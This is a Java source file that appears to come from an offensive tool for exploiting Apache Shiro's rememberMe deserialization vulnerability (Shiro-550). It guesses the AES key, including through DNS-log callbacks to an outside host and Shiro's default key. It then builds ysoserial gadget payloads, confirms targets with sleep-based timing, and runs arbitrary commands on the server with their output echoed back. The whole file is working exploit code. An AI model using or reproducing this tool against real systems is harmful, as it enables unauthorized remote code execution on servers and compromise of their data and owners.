package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.AesEncrypt;
import com.shiroexploit.util.*;
import java.io.File;
import java.util.*;

public class Shiro550VerifierUsingEcho implements Verifier{
    private Config config;
    private String key;
    private List<PayloadType> gadgets;
    private List<EchoType> echoTypes;

    public Shiro550VerifierUsingEcho(){
        System.out.println("[*] Using Shiro550VerifiertUsingEcho");
        this.config = Config.getInstance();
        this.gadgets = new ArrayList<>();
        this.echoTypes = new ArrayList<>();
    }

    @Override
    public void getValidGadget() throws ExploitFailedException {
        this.key = Tools.getValidKeyUsingSimplePrincipalCollection();
        if(this.key == null){
            if(config.getSessionId() != null && !config.getSessionId().isEmpty() && config.getDnsLogRecord() != null && !config.getDnsLogRecord().isEmpty()){
                Map<String, String> keyMap = sendURLDNSPayloads();
                this.key = Tools.getValidKeyFromDNSLog(keyMap);
            }else{
                System.out.println("[!] dnslog.cn is currently not available, skip URLDNS method");
            }

        }

        if(this.key == null){
//            throw new ExploitFailedException("[-] Can not find a valid key");
            // 这里的目的以为遇到一个 bug，即使 key 正确， 在反序列化 SimplePrincipalCollection 的时候仍然返回了 rememberMe=deleteMe
            // 这里为了防止这种问题再次发生，即使找不到 key， 也使用 Shiro 默认的 key 把所有的 gadget 跑一遍
            System.out.println("[-] Can not find a valid key");
            System.out.println("[!] Continue with Shiro default key:kPH+bIxk5D2deZiIxcaaaA==");
            this.key = "kPH+bIxk5D2deZiIxcaaaA==";
        }else{
            System.out.println("[+] Find Valid Key: " + this.key);
        }

        for(PayloadType type : config.getGadgets()){
            System.out.println("[*] Trying Gadget: " + type.getName());

            String  command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
                    + " directive:sleep:10";

            byte[] payload = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(key, payload);

            int delay = HttpRequest.getRequestDelay(config.getRequestInfo(),rememberMe);
            if(delay >= 9){
                int secondTest = delay + 5;
                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
                        + " directive:sleep:" + secondTest;

                payload = Tools.exec(command);
                rememberMe = AesEncrypt.encrypt(key, payload);
                delay = HttpRequest.getRequestDelay(config.getRequestInfo(),rememberMe);

                if(delay >= secondTest - 1){
                    System.out.println("[+] Time delay confirmed, target seems vulnerable");
                    this.key = key;
                    this.gadgets.add(type);

                    getValidEchoMethod();

                    if(this.echoTypes.size() > 0){
                        System.out.println("[+] Vuln Confirmed");
                        System.out.println("[+] Find Valid Key: " + this.key);
                        System.out.println("[+] Find Valid Gadget: " + this.gadgets.get(0));
                        for(EchoType echoType : this.echoTypes){
                            System.out.println("[+] Find Valid Echo Method: " + echoType.getName());
                        }
                        break;
                    }else{
                        System.out.println("[-] can not find a valid echo method");
                        System.out.println("[+] Identified Key: " + this.key);
                        System.out.println("[+] Identified Gadget: " + this.gadgets.get(0));
                        this.gadgets.clear();
                    }
                }
            }
        }

        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can not find a valid key or find a valid Gadget!");
        }
    }

    private void getValidEchoMethod(){
        System.out.println("[*] Trying different echo methods");
        this.echoTypes = EchoUtil.getValidEchoType(this.key, this.gadgets.get(0));
    }

    @Override
    public String executeCmd(String cmd) {
        PayloadType payloadType = Tools.randomSelect(gadgets);
        EchoType echoType = Tools.randomSelect(echoTypes);

        if(cmd.startsWith("directive:")){
            System.out.println("[*] Using Key " + this.key);
            System.out.println("[*] Using Gadget " + payloadType.getName());
            System.out.println("[*] Executing command: " + cmd + "...");
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
            byte[] result = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(this.key, result);

            HttpRequest.request(config.getRequestInfo(), rememberMe);
            System.out.println("[+] Done");
            return "";
        }

        System.out.println("");
        System.out.println("[*] Using Key " + this.key);
        System.out.println("[*] Using Gadget " + payloadType.getName());
        System.out.println("[*] Using Echo Method " + echoType.getName());
        System.out.println("[*] Executing command: " + cmd + "...");


        String result = EchoUtil.getEchoResult(key, payloadType, cmd, echoType);
        System.out.println("[+] Done");

        return result;
    }

    private Map<String,String> sendURLDNSPayloads(){
        Map<String, String> map = new HashMap<>();

        for(String key : config.getKeys()){
            System.out.println("[*] Trying Key: " + key);
            String uuid = UUID.randomUUID().toString().replaceAll("-", "");
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getDnsLogRecord();
            byte[] payload = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(key, payload);
            HttpRequest.request(config.getRequestInfo(), rememberMe);
            map.put(uuid, key);
        }

        return map;
    }
}
